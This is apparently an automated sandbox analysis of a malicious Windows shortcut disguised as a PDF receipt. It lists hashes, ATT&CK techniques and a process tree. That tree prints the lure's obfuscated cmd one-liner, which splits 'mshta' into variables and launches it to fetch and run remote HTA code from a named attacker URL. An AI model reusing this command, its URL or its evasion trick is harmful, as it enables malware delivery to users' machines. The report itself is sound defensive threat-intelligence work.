8c4e8db81940ed9d8db619ee207bcde5d1b00ead424ca032caf97a61de30cd19

Analysis

max time kernel
148s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:44

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General

Target
JustificantePDF2107-9DS0UE.lnk
Size 1KB
Sample260803-q153msae57
SHA256 8c4e8db81940ed9d8db619ee207bcde5d1b00ead424ca032caf97a61de30cd19
MD5 65aa6bd06e513ba36eeec55d921d0852
SHA1 4598bf30172313d7ba38f141bf28ac4353929a92
SHA512 33fff5cbb6877eaa6f90536ce74e2b301843bc85787accd4d6600de50f6f8a1c3abab5bc71e9bbca11e16f546c13f251ba9fae85490e6c4ccefdfdaf371c60b9
TLSH
T14E3147502EFD0664F3B79EB685BB5B108ABAB8568D10CA1D4140854C1072A01E57AF6B
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	680	mshta.exe
6	680	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2584	cmd.exe
4128	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4128 wrote to memory of 2584	4128	cmd.exe	90
PID 2584 wrote to memory of 680	2584	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\JustificantePDF2107-9DS0UE.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4128
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set jo=msh&&set YaAS=ta&&start "" !jo!!YaAS! https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2584
- - C:\Windows\System32\mshta.exe
    mshta https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D1
    3⤵
    - Badlisted process makes network request
    PID:680
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      PID:3232

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads